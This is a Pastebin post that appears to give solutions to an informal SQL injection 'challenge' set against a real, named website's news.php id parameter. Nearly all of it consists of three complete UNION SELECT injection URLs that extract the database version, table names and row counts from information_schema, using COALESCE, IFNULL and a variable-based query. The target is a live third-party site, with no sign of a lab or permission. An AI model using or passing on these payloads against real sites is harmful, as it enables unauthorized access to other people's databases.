Saint92

(SQLi) Amir challenge solution

Feb 26th, 2016
921
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.03 KB | None | 0 0
  1. Solution of my Challenge
  2. The Challenge Was
  3. Time Pass SQL
  4. ======================
  5. Site: http://patshortt.com /news.php?id%3D
  6. ======================
  7. Print name,version,table name,total record in tables
  8. Sort tables Ascending order as per record
  9. e.g Lowest Data table should be on the top and highest record table should be in the last
  10. =====================
  11. Do not change parameter or add anything in the end of parameter
  12. post pic and pm me your query
  13. =====================
  14. there are many ways to solve this challenge
  15. 1. First Solution is with "COALESCE" Function
  16. http://patshortt.com /news.php?id= %27%20+UNION+ALL+SELECT +1,concat%280x3c666f6e7420636f6c6f723d707572706c653e3c623e3c693e436865657461682048657265203a3a20,@@version,0x3c62723e,0x3c62723e,%28SELECT+GROUP_CONCAT%28table_name,0x203a3a20,COALESCE%28table_rows,0%29+order+by+COALESCE%28table_rows,0%29+ASC+SEPARATOR+0x3c62723e%29+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE%28%29%29%29,3,4,5,6,7,8,9,10,11,12,13,14--%20-
  17. 2. Second Solution is with "IFNULL" function
  18. http://patshortt.com /news.php?id=' +UNION+ALL+SELECT+1,concat(0x3c666f6e7420636f6c6f723d707572706c653e3c623e3c693e436865657461682048657265203a3a20,@@version,0x3c62723e,0x3c62723e,(SELECT+GROUP_CONCAT(table_name,0x203a3a20,ifnull(table_rows,0)+order+by+ifnull(table_rows,0)+ASC+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE())),3,4,5,6,7,8,9,10,11,12,13,14-- -
  19. 3. Third Solution is to declare variables for 'Table','table_rows','for ordering' so this this method here is query ;)
  20. PS> This query belongs to Mukarram Khalid(Mak Man)
  21. concat(@x:=0x0,@oldtable:=0x0,@num:=0,benchmark((select count(*) from information_schema.tables where table_schema=database()),@x:=concat(@x,0x3c6c693e,(select concat(@num:=@num%2b1,0x2920,tbl,0x203a3a20,rows, if(@oldtable:=concat(@oldtable,0x2C,tbl),0x0,0x0)) from (select table_name as tbl,table_rows as rows from information_schema.tables where table_schema=database() order by table_rows DESC)makman where FIND_IN_SET(tbl, @oldtable)=0 limit 1))),@x)
Advertisement
Add Comment
Please, Sign In to add comment